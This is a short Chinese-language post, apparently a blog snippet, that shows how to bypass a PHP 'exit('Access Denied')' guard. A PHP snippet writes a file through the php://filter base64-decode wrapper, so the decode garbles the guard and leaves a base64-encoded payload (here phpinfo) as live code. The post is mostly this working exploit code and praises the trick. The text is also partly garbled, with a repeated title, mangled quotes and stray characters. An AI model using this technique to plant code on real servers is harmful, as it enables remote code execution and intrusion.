繞過 <?PHP exit('Access Denied'); ?> 限制

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繞過 <?PHP exit(‘Access Denied‘); ?> 限制

 <?php$shellcode=‘PD9waHBpbmZvKCk7Pz4‘;//   base64_decode <?phpinfo();?>$endstr=‘s‘; $timestamp=$endstr.$shellcode;file_put_contents("php://filter/write=convert.base64-decode/resource=ryat.php","<?PHP exit(‘Access Denied‘); ?>\t$timestamp"); ?> 利用base64產生亂碼可以產生： <s奩[email protected]乾? 鏩<?phpinfo();?> 就繞過了exit()限制，真厲害呀

繞過 <?PHP exit('Access Denied'); ?> 限制